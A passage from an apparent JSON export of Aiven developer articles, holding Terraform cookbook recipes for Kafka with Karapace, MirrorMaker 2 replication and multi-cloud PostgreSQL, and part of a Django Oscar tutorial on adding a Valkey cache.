Cookbook.","tags":[{"_key":"6fd37d00cb35","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"5c021f97b8b1","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"}],"title":"Deploy a PostgreSQL® service with custom configurations"} {"__i18n_lang":"en","_createdAt":"2023-08-21T11:28:13Z","_id":"b10e91b8-963a-415d-ae26-04a86831ab20","_rev":"VeNKqGNmt13PzvGhqsSu3q","_type":"devArticle","_updatedAt":"2024-01-29T15:48:45Z","body":"\nThis example shows how to setup [Karapace](https://github.com/aiven/karapace) - an open source HTTP API interface and schema registry, with [Aiven for Apache Kafka®](https://aiven.io/kafka) using the [Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs).\n\nYou'll also enable the auto creation of Apache Kafka topics which will allow you to send message to topics that didn't exist already on the Apache Kafka cluster. In order to work directly with Kafka by producing and consuming messages over HTTP, the REST API feature will be enabled.\nTo learn more, check out [Create Apache Kafka® topics automatically](https://aiven.io/docs/products/kafka/howto/create-topics-automatically.html) page. \n\n:::mermaid\n\n flowchart LR\n producer[Producer]\n consumer[Consumer]\n SchemaRegistry{{Schema Registry:\u003cbr /\u003e Karapace}}\n producer --\u003e Kafka --\u003e consumer\n producer --\u003e SchemaRegistry --\u003e consumer\n\n:::\n\n## Describe the setup\n\nBe sure to check out the [getting started guide](https://aiven.io/docs/tools/terraform/get-started) to learn about the common files required to execute the following recipe. For example, you'll need to declare the variables for ``project_name`` and ``api_token``.\n\n## Common files \n\nNavigate to a new folder and add the following files.\n\nAdd the following to a new ``provider.tf`` file:\n\n```toml\nterraform {\n required_providers {\n aiven = {\n source = \"aiven/aiven\"\n version = \"\u003e=4.0.0, \u003c 5.0.0\"\n }\n }\n}\n\nprovider \"aiven\" {\n api_token = var.aiven_api_token\n}\n```\n \nYou can also set the environment variable ``TF_VAR_aiven_api_token`` for the ``api_token`` property. With this, you don't need to pass the ``-var-file`` flag when executing Terraform commands.\n \nTo avoid including sensitive information in source control, the variables are defined here in the ``variables.tf`` file. You can then use a ``*.tfvars`` file with the actual values so that Terraform receives the values during runtime, and exclude it.\n\nThe ``variables.tf`` file defines the API token, the project name to use, and the prefix for the service name:\n\n```toml\nvariable \"aiven_api_token\" {\n description = \"Aiven console API token\"\n type = string\n}\n\nvariable \"project_name\" {\n description = \"Aiven console project name\"\n type = string\n}\n```\n \nThe ``var-values.tfvars`` file holds the actual values and is passed to Terraform using the ``-var-file=`` flag.\n\n``var-values.tfvars`` file:\n\n\n```toml\naiven_api_token = \"\u003cYOUR-AIVEN-AUTHENTICATION-TOKEN-GOES-HERE\u003e\"\nproject_name = \"\u003cYOUR-AIVEN-CONSOLE-PROJECT-NAME-GOES-HERE\u003e\"\n```\n\n## Services.tf file\n\nHere is the sample Terraform file to stand-up a single Apache Kafka server and configure Karapace, Kafka REST, and auto creation of topics.\n\n``services.tf`` file:\n\n```toml\nresource \"aiven_kafka\" \"demo-kafka\" {\n project = var.project_name\n cloud_name = \"google-northamerica-northeast1\"\n plan = \"business-4\"\n service_name = \"demo-kafka\"\n maintenance_window_dow = \"monday\"\n maintenance_window_time = \"10:00:00\"\n kafka_user_config {\n kafka_version = \"3.4\"\n // Enables Karapace Schema Registry and REST\n schema_registry = true\n kafka_rest = true\n kafka {\n auto_create_topics_enable = true\n }\n }\n}\n\nresource \"aiven_kafka_topic\" \"source\" {\n project = var.project_name\n service_name = aiven_kafka.demo-kafka.service_name\n topic_name = \"topic-a\"\n partitions = 3\n replication = 2\n}\n```\n \n## Execute the files\n\nThe ``init`` command performs several different initialization steps in order to prepare the current working directory for use with Terraform. In our case, this command automatically finds, downloads, and installs the necessary Aiven Terraform provider plugins.\n \n```toml\nterraform init\n```\n\nThe ``plan`` command creates an execution plan and shows you the resources that will be created (or modified) for you. This command does not actually create any resource; this is more like a preview.\n\n\n```toml\nterraform plan -var-file=var-values.tfvars\n```\n\nIf you're satisfied with the output of ``terraform plan``, go ahead and run the ``terraform apply`` command which actually does the task or creating (or modifying) your infrastructure resources.\n \n\n```bash\nterraform apply -var-file=var-values.tfvars\n```\n \nLet's test that each of these configurations are setup by Terraform. Once the Aiven for Apache Kafka service is running, from the *Overview* tab, ensure that *Apache Kafka REST API (Karapace)* and *Schema Registry (Karapace)* are toggled on.\n\nFor documentation on how to use Karapace, refer to the [Karapace GitHub repository](https://github.com/aiven/karapace). \nWithout the REST API option enabled, you won't be able to view the messages in the topics from the Aiven web console. If you navigate to the *Topics* tab on Aiven console and are able to browse the messages for a particular topic (the *Messages* button is enabled), that confirms that the REST API setting has been enabled. \n\nFinally, you can send messages to a non-existing topic (for example, ``topic-b``) on your Apache Kafka cluster and the message will be delivered thanks to the ``auto_create_topics_enable`` parameter being set to ``true``.\nBy default, in Aiven for Apache Kafka this features is turned off as safeguard against accidental topic creation. Either remove this parameter from the Terraform code or set ``auto_create_topics_enable`` parameter to ``false`` and run the ``terraform apply`` again. \nThis time, you won't be able to send messages to a non-existing topic.\n\n## More resources\n\nTo find more information on Karapace and Apache Kafka:\n\n- [The Karapace project](https://www.karapace.io/)\n- [What is Apache Kafka](https://aiven.io/blog/what-is-apache-kafka)\n- [What is Karapace](https://aiven.io/blog/what-is-karapace)\n- [Karapace strengthens schema management](https://aiven.io/blog/karapace-strengthens-schema-management)\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-28T11:25:34.007Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"045824977162","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-21T08:28:37.110Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-c2aadbe2aa16c873aadcdca0fbe78b86fc1b6daa-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/apache-kafka-karapace"},"subtitle":"Manage Apache Kafka® with the open source Karapace schema registry, and deploy both using Terraform. A part of Aiven's Terraform Cookbook.","tags":[{"_key":"6511c23ff609","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"61d48cb1c83f","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"}],"title":"Apache Kafka® with Karapace Schema Registry"} {"__i18n_lang":"en","_createdAt":"2023-08-21T09:43:44Z","_id":"7b31ec64-0438-419f-90a1-9e0835e2436a","_rev":"VeNKqGNmt13PzvGhqsShiC","_type":"devArticle","_updatedAt":"2024-01-29T15:45:55Z","body":"From disaster recovery to isolating data for compliance reasons, businesses need to replicate data across their Apache Kafka® clusters, and Apache Kafka® MirrorMaker 2 is a perfect tool \nto do so. \n\nA single MirrorMaker 2 cluster can run multiple replication flows, and it has a mechanism for preventing replication cycles. This example sets up: \n\n* two [Aiven for Apache Kafka®](https://aiven.io/kafka) clusters (a source and a target)\n* an Aiven for Apache Kafka MirrorMaker 2 service\n* two service integrations between the Apache Kafka cluster and the MirrorMaker 2\n* a replication flow to move all the topics from the source cluster to the target cluster \n\nThe [Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs) is used to create all the required resources in a declarative style. The following image shows a unidirectional flow with the Apache Kafka MirrorMaker 2 replicating all the topics from ``DC1`` (source Kafka cluster) to ``DC2`` (target Kafka cluster):\n\n:::mermaid\n flowchart LR;\n\n subgraph DC2\n DC1.TopicA\n DC1.TopicB\n DC1.TopicC\n end;\n\n subgraph MM\n replication-flow--\u003eDC1.TopicA\n replication-flow--\u003eDC1.TopicB\n replication-flow--\u003eDC1.TopicC\n end;\n\n subgraph DC1\n TopicA--\u003ereplication-flow\n TopicB--\u003ereplication-flow\n TopicC--\u003ereplication-flow\n end;\n:::\n\n## Describe the setup\n\nHere is the sample Terraform file that will spin up two Apache Kafka services, an Apache Kafka MirrorMaker 2 service and the MirrorMaker 2 service will be configured with two cluster alias pointed to the source and target Apache Kafka clusters. \n\nThe service integrations ``source-kafka-to-mm`` and ``mm-to-target-kafka`` connect the Kafka clusters to the MirrorMaker 2 instance. The replication flow ``mm-replication-flow`` creates a unidirectional flow to populate the remote topics based on source \ntopics. \n\nThe ``\".*\"`` wildcard in the MirrorMaker 2 configuration means that all the topics from the source cluster will be replicated to the target cluster. However, since the flow is unidirectional, the ``topic-b`` will only be present in the target cluster (where it was originally created) and not the source cluster.\n\nBe sure to check out the [getting started guide](https://aiven.io/docs/tools/terraform/get-started) to learn about the common files required to execute the following recipe. For example, you'll need to declare the variables for ``project_name`` and ``api_token``.\n\n## Common files\n\nNavigate to a new folder and add the following files.\n\nAdd the following to a new ``provider.tf`` file:\n\n```toml\nterraform {\n required_providers {\n aiven = {\n source = \"aiven/aiven\"\n version = \"\u003e=4.0.0, \u003c 5.0.0\"\n }\n }\n}\n\nprovider \"aiven\" {\n api_token = var.aiven_api_token\n}\n```\n \nYou can also set the environment variable ``TF_VAR_aiven_api_token`` for the ``api_token`` property. With this, you don't need to pass the ``-var-file`` flag when executing Terraform commands.\n \nTo avoid including sensitive information in source control, the variables are defined here in the ``variables.tf`` file. You can then use a ``*.tfvars`` file with the actual values so that Terraform receives the values during runtime, and exclude it.\n\nThe ``variables.tf`` file defines the API token, the project name to use, and the prefix for the service name:\n\n```toml\nvariable \"aiven_api_token\" {\n description = \"Aiven console API token\"\n type = string\n}\n\nvariable \"project_name\" {\n description = \"Aiven console project name\"\n type = string\n}\n```\n\nThe ``var-values.tfvars`` file holds the actual values and is passed to Terraform using the ``-var-file=`` flag.\n\n``var-values.tfvars`` file:\n\n```toml\naiven_api_token = \"\u003cYOUR-AIVEN-AUTHENTICATION-TOKEN-GOES-HERE\u003e\"\nproject_name = \"\u003cYOUR-AIVEN-CONSOLE-PROJECT-NAME-GOES-HERE\u003e\"\n```\n\n## Services.tf file\n\n``services.tf`` file:\n\n```toml\nresource \"aiven_kafka_mirrormaker\" \"mm\" {\n project = var.project_name\n cloud_name = \"google-europe-west1\"\n plan = \"business-4\"\n service_name = \"mm\"\n\n kafka_mirrormaker_user_config {\n ip_filter_string = [\n \"0.0.0.0/0\"\n ]\n\n kafka_mirrormaker {\n refresh_groups_interval_seconds = 600\n refresh_topics_enabled = true\n refresh_topics_interval_seconds = 600\n }\n }\n}\n\nresource \"aiven_service_integration\" \"source-kafka-to-mm\" {\n project = var.project_name\n integration_type = \"kafka_mirrormaker\"\n source_service_name = aiven_kafka.source.service_name\n destination_service_name = aiven_kafka_mirrormaker.mm.service_name\n\n kafka_mirrormaker_user_config {\n cluster_alias = \"source\"\n }\n}\n\nresource \"aiven_service_integration\" \"mm-to-target-kafka\" {\n project = var.project_name\n integration_type = \"kafka_mirrormaker\"\n source_service_name = aiven_kafka.target.service_name\n destination_service_name = aiven_kafka_mirrormaker.mm.service_name\n\n kafka_mirrormaker_user_config {\n cluster_alias = \"target\"\n }\n}\n\nresource \"aiven_mirrormaker_replication_flow\" \"mm-replication-flow\" {\n project = var.project_name\n service_name = aiven_kafka_mirrormaker.mm.service_name\n source_cluster = aiven_service_integration.source-kafka-to-mm.kafka_mirrormaker_user_config[0].cluster_alias\n target_cluster = aiven_service_integration.mm-to-target-kafka.kafka_mirrormaker_user_config[0].cluster_alias\n enable = true\n\n topics = [\n \".*\",\n ]\n\n topics_blacklist = [\n \".*[\\\\-\\\\.]internal\",\n \".*\\\\.replica\",\n \"__.*\"\n ]\n}\n\nresource \"aiven_kafka\" \"source\" {\n project = var.project_name\n cloud_name = \"google-europe-west1\"\n plan = \"business-4\"\n service_name = \"source\"\n maintenance_window_dow = \"monday\"\n maintenance_window_time = \"10:00:00\"\n\n kafka_user_config {\n kafka_version = \"3.2\"\n kafka {\n group_max_session_timeout_ms = 70000\n log_retention_bytes = 1000000000\n }\n }\n}\n\nresource \"aiven_kafka_topic\" \"source\" {\n project = var.project_name\n service_name = aiven_kafka.source.service_name\n topic_name = \"topic-a\"\n partitions = 3\n replication = 2\n}\n\nresource \"aiven_kafka\" \"target\" {\n project = var.project_name\n cloud_name = \"google-europe-west1\"\n plan = \"business-4\"\n service_name = \"target\"\n maintenance_window_dow = \"monday\"\n maintenance_window_time = \"10:00:00\"\n\n kafka_user_config {\n kafka_version = \"3.4\"\n kafka {\n group_max_session_timeout_ms = 70000\n log_retention_bytes = 1000000000\n }\n }\n}\n\nresource \"aiven_kafka_topic\" \"target\" {\n project = var.project_name\n service_name = aiven_kafka.target.service_name\n topic_name = \"topic-b\"\n partitions = 3\n replication = 2\n}\n```\n \n## Execute the files\n\nThe ``init`` command performs several different initialization steps in order to prepare the current working directory for use with Terraform. In our case, this command automatically finds, downloads, and installs the necessary Aiven Terraform provider plugins.\n\n```shell\nterraform init\n```\n\nThe ``plan`` command creates an execution plan and shows you the resources that will be created (or modified) for you. This command does not actually create any resource; this is more like a preview.\n\n```bash\nterraform plan -var-file=var-values.tfvars\n```\n\nIf you're satisfied with the output of ``terraform plan``, go ahead and run the ``terraform apply`` command which actually does the task or creating (or modifying) your infrastructure resources. \n\n```bash\nterraform apply -var-file=var-values.tfvars\n```\n\nFor Apache Kafka MirrorMaker 2 and Apache Kafka service integration, ``ip_filter_string`` is a specific configuration that whitelists certain ranges of IP addresses. This example of ``0.0.0.0/0`` denotes that all IP addresses are allowed.\n\nIn the target Apache Kafka cluster you will find: \n \n * the topic named ``topic-b`` created via the resource ``\"aiven_kafka_topic\" \"target\"``\n * some internal MirrorMaker 2 topics starting with prefix ``mm2``\n * a heartbeat topic for the ``source`` Kafka cluster named ``source.heartbeats``\n * the replicated topic ``topic-a`` prefixed with the source Kafka cluster alias ``source``\n\n## More resources\n\nKeep in mind that some parameters and configurations will vary for your case. A reference to some of the advanced Apache Kafka configurations and other related resources:\n\n- [Configuration options for Aiven for Apache Kafka](https://aiven.io/docs/products/kafka/reference/advanced-params.html)\n- [5 reasons why you should be using MirrorMaker 2.0 for data replication](https://aiven.io/blog/5-reasons-why-you-should-be-using-mirrormaker-2)\n- [Tutorial: Migrate an Apache Kafka® instance using Apache Kafka® MirrorMaker 2](https://aiven.io/developer/kafka-migration-mirrormaker2)\n- [Database migration with Apache Kafka® and Apache Kafka® Connect](https://aiven.io/developer/db-technology-migration-with-apache-kafka-and-kafka-connect)\n- [(Re)Create Apache Kafka® topics with Terraform](https://aiven.io/developer/terraform-for-repeatable-topics)\n- [Import your existing data platform using Terraform](https://aiven.io/developer/import-your-existing-data-platform-using-terraform)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-28T09:38:10.511Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"ffc7eee82afb","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-21T08:28:37.110Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-8e34a1ac341893fd1174924a231a083c8f01f76a-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/kafka-mirrormaker-crosscluster"},"subtitle":"Replicate data from one Apache Kafka® cluster to another using MirrorMaker 2. Useful when migrating Apache Kafka® services. A part of Aiven's Terraform Cookbook.","tags":[{"_key":"18e78999da44","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"be501531bb37","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"},{"_key":"5ac3dc41aec2","_ref":"d4e858d3-c34f-479f-b156-3ad83e807091","_type":"tag"}],"title":"Cross-cluster replication with Apache Kafka® MirrorMaker 2"} {"__i18n_lang":"en","_createdAt":"2023-08-16T13:21:33Z","_id":"7f525a3a-c78e-4031-b8c6-458db8ca7430","_rev":"VeNKqGNmt13PzvGhqsSoHS","_type":"devArticle","_updatedAt":"2024-01-29T15:47:51Z","body":"There are many reasons why businesses need to distribute their databases geographically. One of the primary reason is data residency/regulation which mandates user data to stay within certain regions. \nThis example shows how to set up three highly-available PostgreSQL® databases in three regions and across different cloud providers for data regulation and compliance. In addition, these databases must be configured in a way that they are protected against database deletion.\n[Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs) can help create multiple services programmatically. \n\nThe following image shows that the Aiven Terraform Provider calls the Aiven API under the hood to create three PostgreSQL services on AWS (Europe), DigitalOcean (US), and Google Cloud Platform(Asia):\n\n:::mermaid\n\ngraph TD\n B[(Aiven for PostgreSQL - AWS EU)]\n C[(Aiven for PostgreSQL - DigitalOcean NA)]\n D[(Aiven for PostgreSQL - GCP Asia)]\n:::\n\n## Describe the setup\n\nBe sure to check out the [getting started guide](https://aiven.io/docs/tools/terraform/get-started) to learn about the common files required to execute the following recipe. For example, you'll need to declare the variables for ``project_name`` and ``api_token``.\n\n## Common files\n\nNavigate to a new folder and add the following files.\n\nAdd the following to a new ``provider.tf`` file:\n\n```toml\nterraform {\n required_providers {\n aiven = {\n source = \"aiven/aiven\"\n version = \"\u003e=4.0.0, \u003c 5.0.0\"\n }\n }\n}\n\nprovider \"aiven\" {\n api_token = var.aiven_api_token\n}\n```\n \nYou can also set the environment variable ``TF_VAR_aiven_api_token`` for the ``api_token`` property. With this, you don't need to pass the ``-var-file`` flag when executing Terraform commands.\n \nTo avoid including sensitive information in source control, the variables are defined here in the ``variables.tf`` file. You can then use a ``*.tfvars`` file with the actual values so that Terraform receives the values during runtime, and exclude it.\n\nThe ``variables.tf`` file defines the API token, the project name to use, and the prefix for the service name:\n\n```toml\n\nvariable \"aiven_api_token\" {\n description = \"Aiven console API token\"\n type = string\n}\n\nvariable \"project_name\" {\n description = \"Aiven console project name\"\n type = string\n}\n```\n \nThe ``var-values.tfvars`` file holds the actual values and is passed to Terraform using the ``-var-file=`` flag.\n\n``var-values.tfvars`` file:\n\n```toml\naiven_api_token = \"\u003cYOUR-AIVEN-AUTHENTICATION-TOKEN-GOES-HERE\u003e\"\nproject_name = \"\u003cYOUR-AIVEN-CONSOLE-PROJECT-NAME-GOES-HERE\u003e\"\n```\n\n## Services.tf file \n\nHere is the sample Terraform file to deploy all three services. Keep in mind that some parameters and configurations will vary for your case. A reference to some of the advanced PostgreSQL configurations is added at the end of this document.\n\n``services.tf`` file:\n\n```toml\n# European Postgres Service\nresource \"aiven_pg\" \"aws-eu-pg\" {\n project = var.project_name\n cloud_name = \"aws-eu-west-2\" # London\n plan = \"business-8\" # Primary + read-only replica\n service_name = \"postgres-eu-aws\"\n termination_protection = true\n}\n\n# US Postgres Service\nresource \"aiven_pg\" \"do-us-pg\" {\n project = var.project_name\n cloud_name = \"do-nyc\" # New York\n plan = \"business-8\" # Primary + read-only replica\n service_name = \"postgres-us-do\"\n termination_protection = true\n}\n\n# Asia Postgres Service\nresource \"aiven_pg\" \"gcp-as-pg\" {\n project = var.project_name\n cloud_name = \"google-asia-southeast1\" # Singapore\n plan = \"business-8\" # Primary + read-only replica\n service_name = \"postgres-as-gcp\"\n termination_protection = true\n}\n```\n\n## Execute the files\n\nThe ``init`` command performs several different initialization steps in order to prepare the current working directory for use with Terraform. In our case, this command automatically finds, downloads, and installs the necessary Aiven Terraform provider plugins.\n \n```shell\nterraform init\n```\n\nThe ``plan`` command creates an execution plan and shows you the resources that will be created (or modified) for you. This command does not actually create any resource; this is more like a preview.\n\n```bash\nterraform plan -var-file=var-values.tfvars\n```\n\nIf you're satisfied with the output of ``terraform plan``, go ahead and run the ``terraform apply`` command which actually does the task or creating (or modifying) your infrastructure resources. \n\n```bash\nterraform apply -var-file=var-values.tfvars\n```\n\nThis file creates three Aiven for PostgreSQL services across three cloud providers and in three different regions. The ``termination_protection = true`` property ensures that these databases are protected against accidental or unauthorized deletion.\n\nWith termination protection enabled, a ``terraform destroy`` command will result in a 403 response and an error message \"Service is protected against termination and shutdown. Remove termination protection first.\".\n\nTo destroy resources with termination protection, you need to update the script with ``termination_protection = false`` and then execute a ``terraform apply`` followed by a ``terraform destroy``.\n\n## More resources\n\nYou might find these related resources useful too:\n\n- [Configuration options for PostgreSQL](https://aiven.io/docs/products/postgresql/reference/list-of-advanced-params.html)\n- [Set up your first Aiven Terraform project](https://aiven.io/docs/tools/terraform/get-started.html)\n- [Benefits and challenges of multi-cloud](https://aiven.io/blog/getting-the-most-of-multi-cloud)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-23T13:21:21.061Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[{"_key":"f5b60be48708","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-16T07:44:06.381Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-cfa3341189f829000d75e1ab1801cfa98ba82d20-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/multicloud-postgresql-terraform"},"subtitle":"Deploy PostgreSQL® services to multiple clouds and regions using Terraform. A part of the Aiven Terraform Cookbook.","tags":[{"_key":"62aba4003d8b","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"58462039157d","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"}],"title":"Deploy PostgreSQL® services to multiple clouds and regions"} {"__i18n_lang":"en","_createdAt":"2023-08-15T07:37:01Z","_id":"6ac74c78-7cea-422f-b06e-d465dd944a63","_rev":"zIsiQAjxKhucsEb2t0lVVt","_type":"devArticle","_updatedAt":"2024-10-23T08:43:27Z","body":"In a [previous article](https://aiven.io/developer/django-and-aiven-for-pg) we looked at using an Aiven for PostgreSQL® database as the backend for Django. But Aiven also provides other managed services, including Aiven for Valkey, a key-value store using the Redis serialization protocol. So in this article we are going to look at adding a Valkey cache to the previous example.\n\n## Summary of the previous article\n\n### The basics\n\nIf you just worked through [the previous article](https://aiven.io/developer/django-and-aiven-for-pg), then great, you're all ready to continue with this tutorial, and can skip the rest of this section.\n\nOtherwise, if you just want to work with this article, then you need to get Oscar setup. Here's a summary of the basics:\n\nYou will need `node` and `npm` (on my Mac I use `brew install npm` to install them). Then:\n\n```shell\n git clone --branch sandbox-requirements-update \\\n https://github.com/TibsAtWork/django-oscar.git\n cd django-oscar\n python3 -m venv venv\n source venv/bin/activate\n make sandbox\n ```\n\nYou can test that by running the following command and going to `http://127.0.0.1:8000/` in a web browser to see the Oscar Sandbox store front.\n\n```shell\nsandbox/manage.py runserver\n```\n\n### Talking to Aiven for PostgreSQL®\n\nThis leaves you with Oscar storing its data in a local SQLite database. To change to using an Aiven for PostgreSQL® instance, follow the instructions at [Create a PostgreSQL® database](https://aiven.io/developer/django-and-aiven-for-pg#create-a-postgresql-database) and [Use PostgreSQL as the backend database](https://aiven.io/developer/django-and-aiven-for-pg#use-postgresql-as-the-backend-database), from the previous article.\n\nOf course, you can leave Oscar talking to the local SQLite database, although running a cache in the cloud for a local database is not something one would expect to do in real life.\n\n## Continue using the Oscar e-commerce example\n\n\n::alert[If you are carrying on from the previous example (so skipped to here) then let's just check everything is still set up correctly.]{title=\"Note\"}\n\nRemember to make sure you're in the `django-oscar` directory - if necessary, `cd` into it:\n```shell\ncd django-oscar\n```\nAlso make sure that the Python virtual environment is enabled. If not, do:\n```shell\nsource venv/bin/activate\n```\n\nCheck everything still works by running the sandbox application again with:\n```shell\nsandbox/manage.py runserver\n```\n\nMake sure that the bookshop appears at `http://127.0.0.1:8000/`.\n\nThen check if the `DATABASE_` environment variables are still set, to tell Oscar to use the remote PostgreSQL database:\n```\nprintenv | grep DATABASE_\n```\nwhich should show something like:\n```\nDATABASE_PORT=10143\nDATABASE_NAME=defaultdb\nDATABASE_PASSWORD=YOUR_DATABASE_PASSWORD_HERE\nDATABASE_USER=avnadmin\nDATABASE_HOST=tibs-django-pg-project-tibs.aivencloud.com\nDATABASE_ENGINE=django.db.backends.postgresql_psycopg2\n```\n(that's not a real password there, and your host name should be different as\nwell).\n\n::alert[If you're using Aiven for PostgreSQL, then all of those environment variables should match the values in the service's Overview page in the [Aiven Console](https://console.aiven.io/).]{title=\"Note\"}\n\n## Disable the Django Debug Toolbar\n\nThe [Oscar Sandbox\ndocumentation](https://django-oscar.readthedocs.io/en/stable/internals/sandbox.html#run-the-sandbox-locally)\nwarns that: \"The sandbox has Django Debug Toolbar enabled by default, which will affect its performance. You can disable it by setting `INTERNAL_IPS` to an empty list in your local settings.\"\n\nSince the point of using Aiven for Caching is to improve performance, we should do that.\n\nEdit `sandbox/settings.py` and search for `INTERNAL_IPS`. It's probably around line 364. Change the line:\n\n```python\nINTERNAL_IPS = ['127.0.0.1', '::1']\n```\n\nto\n```python\nINTERNAL_IPS = []\n```\n\n## Create an Aiven for Valkey service\n\nFirst we need to start a new Aiven for Valkey service using [the Aiven Console](https://aiven.io/signup).\n\n* I want the same cloud (Google Cloud) and location (google-europe-north1) as for the PostgreSQL service\n* Again, Service Plan \"Hobbyist\" should do for this demo\n* Following my previous naming convention, I named it \"tibs-django-valkey\"\n\nExport the Aiven for Valkey Service URI from the Aiven Console to the following environment variable:\n```shell\nexport VALKEY_SERVICE_URI='\u003cService URI\u003e'\n```\n\n## Install the Valkey CLI\n\nWe want to be able to \"talk\" to the Aiven for Valkey server, so let's install the Valkey\ncommand line tool, `valkey-cli`, as described at [connect with valkey-cli](https://aiven.io/docs/products/valkey/howto/connect-valkey-cli.html)\n\n\nFor instance, on on my Mac I can install Valkey locally:\n\n```shell\nbrew install valkey\n```\n\nThen run the command using the Aiven for Valkey's service's URL from the service overview page:\n```shell\nvalkey-cli -u $VALKEY_SERVICE_URI\n```\n\nThis will leave us at a prompt naming the HOST and PORT:\n```\nHOST:PORT\u003e\n```\nIn my case, it looked something like:\n```\ntibs-django-valkey-project-tibs.aivencloud.com:10144\u003e\n```\n\nWe can then ask what keys are in my Aiven for Valkey datastore:\n```\nINFO KEYSPACE\n```\nAt this stage, the keystore is empty:\n```\n# Keyspace\n```\n\nWe can quit `valkey-cli` using:\n```\nQUIT\n```\n\n::alert[It's useful to be able to run `valkey-cli` from a different terminal window, so you can watch how things change while interacting with the running Oscar web app. Don't forget to set `VALKEY_SERVICE_URI` in that second terminal as well!]{title=\"Tip\"}\n\n## About Oscar and Django versions\n\nOscar 3.2 uses [Django 4.2](https://docs.djangoproject.com/en/4.2/). \n\nOscar 3.2 is a Long Time Support (LTS) version, which will be supported until January 2026.\n\nHow can you tell which versions of Oscar and Django you've got? You can check the version of Django by typing:\n```shell\npip show django | grep Version\n```\nYou can do the same for the version of Oscar:\n```shell\npip show django-oscar | grep Version\n```\n\nThis documentation has been checked against Oscar 3.2.4.\n\n\n## The relevant Python libraries\n\nSetting up the environment for Oscar (in the `make sandbox` step) will already have installed the necessary Python libraries to allow the application to talk to Aiven for Valkey.\n\n::alert[Actually, Oscar sets things up for talking to Redis®*, but this will work as Valkey uses the same Redis serialization protocol. You can see the specification Oscar uses in `requirements.txt` - look for the string \"`redis`\" in the `Sandbox` section.]{title=\"Note\"}\n\nIf we were using plain Django, we'd need to install the Valkey Python library ourselves. It's OK to install the Python library for Valkey instead of that for Redis:\n\n```shell\npip install valkey[hiredis]\n```\n\nThe `[hiredis]` also installs the compiled response parser from the hiredis package, which primarily speeds up parsing of multi bulk replies, and is recommended by Django.\n\n## Tell Django we're going to be doing caching\n\nEdit the file `sandbox/settings.py`.\n\nFind the `MIDDLEWARE = [` definition, and add the following line to the start of the list:\n```python\n 'django.middleware.cache.UpdateCacheMiddleware',\n```\n\nThen add the following line to the end of the list:\n```python\n 'django.middleware.cache.FetchFromCacheMiddleware',\n```\n\nAfter that, it should look like:\n```python\nMIDDLEWARE = [\n 'django.middleware.cache.UpdateCacheMiddleware',\n 'debug_toolbar.middleware.DebugToolbarMiddleware',\n\n 'django.middleware.security.SecurityMiddleware',\n 'whitenoise.middleware.WhiteNoiseMiddleware',\n\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.contrib.flatpages.middleware.FlatpageFallbackMiddleware',\n\n # Allow languages to be selected\n 'django.middleware.locale.LocaleMiddleware',\n 'django.middleware.http.ConditionalGetMiddleware',\n 'django.middleware.common.CommonMiddleware',\n\n # Ensure a valid basket is added to the request instance for every request\n 'oscar.apps.basket.middleware.BasketMiddleware',\n 'django.middleware.cache.FetchFromCacheMiddleware',\n]\n```\n\n::alert[The details of the listed middleware may be different in your setup, but the location of the new entries is the important part.]{title=\"Note\"}\n\nFor more on the ordering of the middleware, see [the documentation for per-site caching](https://docs.djangoproject.com/en/4.2/topics/cache/#the-per-site-cache).\n\n## Tell Django to use (this) Aiven for Valkey as its cache\n\nWe need to tell Django to actually use Aiven for Caching for caching, and where to find the Aiven for Caching service.\n\n\nDjango 4 comes with Redis serialization protocol based database support built in.\n\nStill in `sandbox/settings.py`, find the `CACHES = {` definition, and change it from:\n```python\nCACHES = {\n 'default': env.cache(default='locmemcache://'),\n}\n```\nto:\n```python\nCACHES = {\n 'default': {\n 'BACKEND': 'django.core.cache.backends.redis.RedisCache',\n 'LOCATION': os.environ.get('VALKEY_SERVICE_URI'),\n },\n}\n```\nThis tells it to use Aiven for Valkey as a backend cache, and to find the instance of Aiven for Valkey at the URL specified by that environment variable (which we set earlier).\n\n### Use variables rather than constants\n\nAlthough the [Django cache framework](https://docs.djangoproject.com/en/4.2/topics/cache) documentation section on [Caching](https://docs.djangoproject.com/en/4.2/topics/cache/#redis) shows setting the `LOCATION` explicitly to a specific string, it's better practice not to embed such strings into (what might be) production code. In this 